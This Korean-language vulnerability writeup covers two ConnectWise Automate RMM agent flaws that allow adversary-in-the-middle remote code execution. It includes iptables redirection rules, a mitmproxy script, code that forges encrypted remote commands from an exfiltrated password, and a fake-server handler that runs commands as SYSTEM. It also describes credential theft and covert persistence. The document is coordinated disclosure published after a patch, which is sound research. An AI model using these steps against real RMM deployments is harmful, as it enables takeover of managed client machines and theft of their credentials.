
CVE-2025-11492, CVE-2025-11493에 대한 Writeup 및 코드 - 중간자 공격(Adversary-in-the-Middle)을 통한 ConnctWise Automate RMM의 RCE
침투 테스트의 일환으로 ConnectWise Automate 원격 모니터링 및 관리(RMM) 에이전트에서 여러 취약점을 발견했습니다. ConnectWise는 많은 관리형 서비스 제공업체(MSP)가 클라이언트 기기를 관리하고 모니터링하는 데 사용합니다. 이 취약점들은 공격자가 네트워크 중간자 공격(Adversary-in-the-Middle)을 수행할 수 있으면 원격 코드 실행을 가능하게 하며, 공격자가 ConnectWise Automate 에이전트가 실행 중인 기기에 대한 코드 실행 또는 물리적 접근 권한을 얻은 경우 로컬 권한 상승 및 은밀한 지속성으로 사용될 수 있습니다.
이 취약점들은 2025년 8월 20일 ConnectWise에 보고되었습니다. ConnectWise는 CVE ID를 할당하고 2025년 10월 16일 버전 2025.9에서 패치를 배포했습니다.
ConnectWise 공지:
CVE ID:
2025.9를 출시하고 보안 공지와 CVE를 게시.ConnectWise의 신속한 대응과 수정에 대한 협력적 접근 방식, 그리고 분류 및 수정 접근 방식에 대한 논의에 기꺼이 참여해 준 점에 감사드립니다.
이 취약점들을 분류하는 것은 흥미로운 도전이었습니다. HTTPs로 전환하면 이 보고서의 거의 모든 시나리오가 해결되지만, 이는 원래 에이전트-서버 통신의 신뢰성을 향상시키기 위한 설계 선택(HTTP 지원)이었음이 분명했습니다. 암호화 체계는 AiTM의 위험을 부분적으로 인지하고 완화하려는 시도로 보였지만, 일관되게 적용되지는 않았습니다. 이를 분석하면서 취약점이 http 자체인지, HTTP 위에 암호화가 부재한 것인지, 재생 방지, 플러그인 검증 등이 각각 별도의 취약점인지 분류하려고 했습니다. 한때 ConnectWise는 취약점의 여러 측면에 대해 5개 이상의 별도 CVE를 고려하고 있었습니다.
또한 취약점을 AiTM(예: 커피숍 Wi-Fi) 또는 LPE/물리적 접근 관점에서 고려하느냐에 따라 범위와 공격 벡터가 달라졌습니다. 대안적 접근 방식은 각 시나리오를 별개의 취약점으로 간주하는 것입니다(예: AiTM RCE, LPE, 지속성 탈취 등).
마지막으로 배운 점은 2025년에도 파일을 효과적으로 공유하는 데 여전히 어려움을 겪고 있다는 것입니다 :D (이메일 보안이 .dll 파일이나 이를 포함한 .zip 파일을 첨부하는 것을 좋아하지 않았습니다).
이 보고서는 ConnectWise가 패치를 출시하고 CVE를 공개한 이후, 그러한 공개가 사용자에게 해를 끼치지 않는다는 ConnectWise의 동의하에 게시됩니다. 또한 이러한 취약점과 완화 방안의 공개가 다른 공급업체와 보안 전문가가 ConnectWise Automate 및 기타 RMM 시스템의 위험을 더 잘 이해하고 완화하는 데 도움이 될 것이라고 믿습니다.
본 콘텐츠는 합법적이고 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 이 정보를 무단으로 사용하여 시스템, 네트워크 또는 데이터를 손상시키는 것은 불법적이고 비윤리적입니다. 본 콘텐츠는 있는 그대로 제공되며 어떠한 종류의 보증도 없습니다. 작성자는 이 정보의 사용 또는 오용으로 인한 모든 손해에 대해 책임을 지지 않습니다.
이 코드나 정보를 추가 연구에 사용하는 경우, 발견된 취약점을 해당 공급업체에 보고하여 책임 있는 공개를 실천하십시오.
아래 보고서 외에도 이 저장소에는 취약점을 시연하는 PoC 코드가 포함되어 있습니다. 가짜 서버 구현 및 사용 방법에 대한 자세한 내용은 automate_server/README.md를 참조하십시오.
이 코드는 ConnectWise Automate에 대한 추가적인(윤리적인) 보안 연구를 수행하는 데에도 사용될 수 있습니다.
다음 보고서(또는 이에 가까운 버전)와 이 저장소의 PoC 파이썬 코드는 권장 완화 방안과 함께 ConnectWise에 제공되었습니다.
제거된 완화 방안 섹션에는 이러한 취약점으로부터 Automate 에이전트를 여러 방면으로 강화하기 위해 적용할 수 있는 변경 사항에 대한 자세한 내용이 담겨 있습니다.
이러한 변경 사항 중 일부는 여전히 ConnectWise가 검토 중이므로 해당 섹션은 이 공개 자료에서 제거되었습니다.
ConnectWise Automate 원격 모니터링 및 관리(RMM) 에이전트(2025년 8월 기준 최신 버전, 버전 문자열 250.252)는 특정 구성에서 네트워크 기반 원격 코드 실행에 취약합니다. 에이전트가 Server Address에 대해 암호화되지 않은 HTTP 전송(주 전송 또는 폴백으로)을 사용하도록 구성되어 있고 공격자가 중간자(AiTM) 공격을 수행할 수 있는 경우, SYSTEM으로 원격 코드를 실행할 수 있습니다. 이 구성은 여러 관리형 서비스 제공업체(MSP)의 실제 환경에서 관찰되었습니다.
공격자가 비관리자로 기기에 물리적 접근 권한을 얻거나 기기를 공격자가 제어하는 네트워크에 연결할 수 있는 경우에도 악용이 가능합니다(즉, 이 취약점은 로컬 권한 상승으로 사용될 수 있습니다). Automate는 대부분의 RMM 명령을 암호화하고 검증하기 위해 암호화 시스템을 사용하지만, 플러그인 시스템은 적절한 보호가 부족하여 원격 코드 실행에 취약한 상태입니다.
Automate의 제어 서버를 모방한 맞춤형 서버를 구현함으로써 Automate 에이전트가 악성 플러그인을 다운로드하여 실행하도록 강제할 수 있습니다.
손상된 에이전트는 매력적인 지속성 형태로도 활용될 수 있습니다. RCE를 사용하여 에이전트의 대칭 암호화 키를 추출하면 맞춤형 서버가 표준 RMM 채널을 통해 에이전트에 임의 명령을 보낼 수 있습니다. AiTM 시나리오에서 공격자는 파일 추출, 자격 증명 덤프, 명령 실행, 구성 변경을 포함한 임의 RMM 명령을 실행할 수 있습니다. 공격자는 RMM의 Server Address를 공격자 자신의 서버로 수정하여 AiTM 이후에도 은밀한 지속성을 확보할 수도 있습니다. 또는 RCE를 활용하여 시스템 수준 명령을 직접 실행할 수 있습니다.
http:// 엔드포인트를 포함하는 Server Address를 사용합니다. 서로 다른 두 MSP에서 취약한 구성이 관찰되었습니다(실제 MSP 도메인 및 IP는 대체됨):
https://automate.msp-one.com|http://automate.msp-one.comhttps://msp.msp-two.com|http://msp.msp-two.com|http://12.346.6.78https:// 연결이 실패하면 http:// 엔드포인트가 폴백으로 사용되지만, 공격자는 https를 차단하여 이를 시뮬레이션할 수 있습니다.Automate 에이전트는 서버 주소로 http:// URL을 사용하도록 구성할 수 있습니다. 이 구성은 설치 프로그램 스크립트/패키지에 의해 설정될 가능성이 높지만, 레지스트리 키 HKLM\SOFTWARE\LabTech\Service\Server Address를 확인하여 검증할 수 있습니다.

파이프 |로 구분된 HTTPS 및 HTTP 엔드포인트를 모두 사용하면 이론상 HTTPS 연결에 문제가 발생할 경우 Automate 에이전트가 HTTP 연결로 전환됩니다.
공격자가 Automate 에이전트와 서버 간 네트워크 트래픽에 대한 중간자(AiTM) 접근 권한을 얻으면 HTTPS 연결을 의도적으로 방해하여 HTTP로 전환되게 할 수 있습니다. 이를 통해 공격자는 에이전트와 서버 간에 교환되는 트래픽을 가로채고, 모니터링하고, 변경할 수 있습니다. 그런 다음 공격자는 트래픽을 https://automate.msp-one.com으로 역방향 프록시하여 에이전트가 "정상 운영"되는 것처럼 보이게 하면서 데이터를 도청할 수 있습니다. 또한 응답을 주입하거나 수정하거나, Automate 에이전트의 요청에 응답하는 완전히 가짜 Automate 서버를 설정할 수도 있습니다.
이는 "불량(rogue)" Wi-Fi 액세스 포인트(hostapd, dnsmasq, IP 포워딩 + NAT)를 설정하고 iptables 규칙을 사용한 트래픽 리디렉션 및 mitmproxy 스크립트를 사용한 역방향 프록시로 달성되었습니다.

실행 중인 프로그램, 전체 네트워크 구성, 문서 경로를 포함한 기타 더 민감한 데이터도 Automate 에이전트 응답에서 때때로 관찰되었습니다.
iptables -t nat -A PREROUTING -i wlx90916440139a -p tcp --dport 80 -j REDIRECT --to-port 8080 iptables -A FORWARD -i wlx90916440139a -p tcp --dport 443 -j DROP
#### mitmproxy 스크립트:```python
# run with AiTMweb --mode transparent@8080 -s automate_AiTM.py
def request(flow: http.HTTPFlow):
if flow.request.pretty_host == 'automate.msp-one.com':
flow.request.url = 'https://automate.msp-one.com' + flow.request.path
ZTNA 솔루션은 이러한 가로채기를 다소 복잡하게 만들 수 있지만, 추가적인 mitmproxy 스크립트가 ZTNA를 조건부로 감지하고 차단하여 비터널 HTTP로 폴백되도록 함으로써 안정적으로 우회되었습니다.
Automate 에이전트는 서버와 통신하기 위해 HTTP 위에 사용자 정의 프로토콜을 사용합니다.
디바이스의 RMM 에이전트는 주기적으로 서버의 /LabTech/agent.aspx 엔드포인트에 HTTP(S) 요청을 보냅니다. 관련 요청 유형은 다음과 같습니다:
경로의 일관되지 않은 대소문자는 오타가 아닙니다. Automate 에이전트가 이러한 요청을 보내는 방식입니다. 명확성을 위해 모든 엔드포인트 경로는 코드 틱으로 감쌌습니다.
/LabTech/Agent.aspx?DEPS를 요청하고 종속성 파일 목록, 버전 번호 및 체크섬을 포함하는 XML 응답을 받습니다./LabTech/Agent.Aspx?DepCheck=1&DependancyId=<id>를 요청하고 이미지 파일로 위장된 종속성을 포함하는 난독화된 바이너리 파일을 받습니다 (아마도 난독화는 콘텐츠 필터가 다운로드를 차단하지 못하도록 하기 위한 것으로 보입니다)./LabTech/agent.aspx?<id>?c<CMD id>&<arg count>를 요청하고 명령별 데이터를 포함하는 사용자 정의 패킹된 응답을 받습니다.InitialCommandRetrieve 포함), 명령 결과를 반환하고, 채팅을 수행하는 데 사용됩니다.민감한 "원격 명령"은 종종 사전 설정된 system password와 computer password에서 사용자 정의 키 파생을 사용하는 DES3 기반 암호화 방식으로 암호화됩니다. 올바른 암호가 없으면 공격자는 에이전트로 전송되는 합법적인 명령을 보거나 주입하거나 수정할 수 없습니다. 그러나 명령 응답은 암호화되지 않으며 열린 파일, 경로, 사용자 이름, 설치된 프로그램 등을 포함한 민감한 평문 데이터를 자주 포함하는 것으로 관찰되었습니다.
종속성 검사(/LabTech/Agent.aspx?DEPS)와 다운로드(/LabTech/Agent.Aspx?DepCheck=1&DependancyId=<id>)는 암호화되거나 서명되지 않으므로, 공격자가 응답을 수정하여 RMM 에이전트가 다운로드하고 로드할 악성 종속성을 포함시킬 수 있습니다. 종속성 검사가 다른 체크섬을 포함하도록 위조되면, RMM 에이전트는 불일치하는 종속성 파일을 새로 다운로드하여 로드합니다(새로 다운로드된 파일이 위조된 체크섬과 일치하는 경우). 플러그인은 특정 인터페이스를 구현하는 .NET 어셈블리이며, Automate 에이전트는 예상되는 플러그인 인터페이스와 일치하는 모든 .NET 어셈블리를 로드한 다음 플러그인의 인터페이스를 호출하여 코드 실행을 초래합니다.
다운로드된 플러그인 종속성에 대한 두 번째 검증 수준이 있습니다. 에이전트가 cmdGetPlugins 명령을 보내고 여기서도 체크섬이 일치하는지 검증하지만, 이 명령은 암호화 방식을 사용하지 않습니다.
dnSpy를 사용하여 에이전트가 사용하는 합법적인 ScreenConnectRemotePlugin.dll에 악성 코드를 주입할 수 있었습니다. DEPS, DepCheck, cmdGetPlugins 명령 기능을 갖춘 사용자 정의 Automate 서버를 생성했습니다. 가짜 서버는 예상되는 플러그인과 종속성을 복제했지만, ScreenConnectRemotePlugin.dll의 해시를 악의적으로 수정된 플러그인에 대해 계산된 해시로 변경했습니다. 가짜 서버는 또한 DepCheck 요청에 대한 응답으로 악의적으로 수정된 ScreenConnectRemotePlugin.dll을 (난독화된 가짜 이미지 형식으로) 제공했으며, 조작된 해시로 cmdGetPlugins도 구현했습니다. 마지막으로 mitmproxy 스크립트를 업데이트하여 Automate 에이전트가 합법적인 (HTTPS) 서버 대신 가짜 서버로 연결되도록 했습니다.
연결되면 악성 플러그인이 다운로드되어 에이전트에 로드됩니다. 주입된 코드는 "system" 및 "computer" 암호를 가짜 서버로 유출합니다. system 및 computer 암호는 레지스트리에 저장되지만, 크게 난독화된 C# 및 네이티브 라이브러리에 의해 디코딩됩니다. 패치된 플러그인은 레지스트리 값을 추출하는 대신 리플렉션을 사용하여 디코딩된 값을 얻으므로 난독화를 리버스 엔지니어링하는 수고를 줄일 수 있습니다. 또는 레지스트리 키 HKLM\SOFTWARE\LabTech\Service의 전체 내용을 유출하고 통제된 환경에서 RMM 에이전트 사본과 함께 사용하여 .NET 디버거로 런타임에 암호를 추출할 수 있습니다.


대안적으로, 플러그인을 사용하여 시스템 수준 명령을 직접 실행할 수 있습니다. 그러나 암호를 추출함으로써 RMM 에이전트 자체를 명령 및 제어(C2)로 사용할 수 있었고, 지속적 채널이 EDR에 탐지되지 않음을 뜻했습니다. 지속성은 Server Address를 공격자가 제어하는 서버로 업데이트하여 얻을 수 있으며, 이 서버는 선택적으로 명령을 합법적인 서버로 전달하여 디바이스가 누락된 것으로 표시되지 않게 할 수 있습니다. 자세한 내용은 3. RMM 명령 및 제어 탈취를 참조하십시오.
기본 구성에 플러그인이 설치되어 있지 않더라도, 빈 플러그인(플러그인에 필요한 C# 인터페이스와 일치하는)을 컴파일하여 DEPS 및 cmdGetPlugins 응답에 삽입하면 동일한 효과를 얻을 수 있었을 것으로 예상됩니다.
또한 서버가 UpdatePlugins라는 "원격 명령"을 반환하여 에이전트가 플러그인 업데이트를 시작하도록 유발할 수 있음이 관찰되었습니다. 명령에는 재생 보호가 포함되어 있지 않기 때문에, 공격자가 합법적인 서버가 보내는 명령을 관찰할 수 있다면 이를 다른 에이전트에 재생하여 업데이트를 트리거할 수 있습니다. 이로 인해 RCE 취약점이 추가적인 시나리오에서 악용될 수 있어 이 취약점의 영향이 커집니다.
자체 업데이트도 암호화되지 않고 서명되지 않은 것으로 관찰되었습니다. 자체 업데이트를 통한 원격 코드 실행 시연은 수행되지 않았지만, 유사하게 취약할 것으로 믿어집니다. 자체 업데이트를 악의적으로 수정하는 것은 은밀하게 수행하기 더 어렵고 Automate 에이전트를 손상시킬 위험이 더 큽니다. 그러나 실행 파일/DLL에 .NET 코드를 주입하는 유사한 접근 방식이 작동할 가능성이 높습니다. 플러그인 RCE가 충분하고 더 신뢰할 수 있다고 판단되어 자체 업데이트 프로세스는 더 이상 조사되지 않았습니다.
또한 자체 업데이트 프로세스를 악용하는 것이 재부팅 시에만 악용 가능하다는 제한에 대한 실행 가능한 해결책이 될 수도 있습니다 (예: 응답을 주입하거나 재생하여 자체 업데이트를 트리거할 수 있는 경우).
2.1의 접근 방식을 사용하여 system password와 computer password를 추출하면 임의의 "원격 명령" 페이로드와 응답을 생성할 수 있었습니다. 키 파생 방식을 완전히 리버스 엔지니어링하고 재구현하는 대신, LabTechCommonBase.dll을 가져와서 Utilities.LabTechHash.ComputeHash를 사용하여 "computer password"로부터 DES3 키를 생성하는 것으로 충분했습니다. DLL에서 추출한 계산된 DES 키와 하드코딩된 IV를 사용하여 RMM 에이전트에 임의의 명령으로 응답할 수 있었습니다.```python
# IV extracted from decompiled LabTechSecurity.cs:
# this._initializationVector = new byte[] { 240, 3, 45, 29, 0, 76, 173, 59 };
iv = [240, 3, 45, 29, 0, 76, 173, 59]
# Helper functions for pythonnet, clr_loader, clr to load LabTechCommonBase.dll into python
labtech_net.setup_paths_and_references(str((Path(__file__).parent.parent / 'LTSvc').resolve()))
from LabTechCommonBase import Utilities
labtech_hash = Utilities.LabTechHash()
labtech_hash.ComputeHash(computer_password.encode('ascii')) # Use the exfiltrated computer password
byts = bytes(labtech_hash.GetDigestBytes())
cipher = DES3.new(byts, DES3.MODE_CBC, bytes(iv))
padded_data = pad(data.encode('utf-8'), DES3.block_size)
encrypted_data = cipher.encrypt(padded_data)
return base64.b64encode(encrypted_data).decode('utf-8')
가짜 Automate 서버에는 다양한 "Agent Command" 유형에 대한 핸들러가 구현되어 있어 에이전트로 "Remote Commands"를 다시 보낼 수 있습니다. 이러한 명령을 사용하면 장치에서 임의의 코드를 실행할 수 있습니다. 예를 들어 페이로드를 다운로드하여 실행하거나 장치로의 네트워크 터널을 설정할 수 있습니다(예: 장치의 ZTNA 액세스를 통해 피벗하는 데 사용할 수 있는 SOCKS 프록시 설정).
2.1의 즉각적인 정리를 위해 서버는 암호화된 `UpdatePlugins` 명령을 보내고 악의적으로 수정된 플러그인을 재정의하기 위해 원래의 합법적인 플러그인을 제공할 수 있습니다. 공격자는 (비밀번호가 추출되었다고 가정할 때) 여전히 에이전트와 상호작용할 수 있으며 `Server Address`를 공격자가 제어하는 서버로 업데이트하여 지속성을 유지할 수 있습니다.

관리자 컨텍스트에서 ping을 실행하기 위해 `Execute` 명령을 사용하는 임의 명령 실행도 시연되었으며, ping은 장치에서 관리자 컨텍스트로 성공적으로 실행되었습니다. 이는 `InitialCommandRetrieve` 명령으로 제공되거나 다른 "agent commands"/체크인에 대한 응답으로 반환될 수 있습니다.```python
# Extract the RemoteCommandIDs enum from LabTechCommonBase.Constants using pythonnet
REMOTE_CMD_IDS = get_RemoteCommandIDs()
REMOTE_CMD_IDS_r = {str(v): k for k, v in REMOTE_CMD_IDS.items()}
# `register_cmd_handler` registers a command handler for the `/LabTech/agent.aspx?c<id>` endpoint.
# The string 'InitialCommandRetrieve' is mapped back to ID `36`.
# The full set of "Agent Command" and their IDs can be extracted from `LabTechCommonBase.Constants.modEnums.AgentCommandIDs`
@register_cmd_handler('InitialCommandRetrieve')
async def initial_command_retrieve(_req: dict) -> str:
cmd = '*!*'.join([
'202706506',
str(REMOTE_CMD_IDS_r['Execute']),
'!!!'.join([
'CMD.exe',
'/c ping -t -l 1337 192.168.20.2'
])
])
encrypted_cmd = encrypt(cmd)
return '|||'.join([
len_b64_gzip( # Simple helper to return '{len(data)}-{base64(gzip(data))}'
encrypted_cmd
),
# Generate common [latest-version, FILETIME(), queued command(s), MD5 hashes] encoding string expected in "agent command" responses
make_p2(),
])

-l 1337을 사용하면 ping이 1337바이트의 페이로드 크기를 사용하도록 지시하며, 이는 두 번째 스크린샷에서 "카나리"로 관찰됩니다(1337 페이로드 바이트 + 42 헤더 바이트 = 총 1379바이트).
공개 자료에서 삭제된 섹션입니다.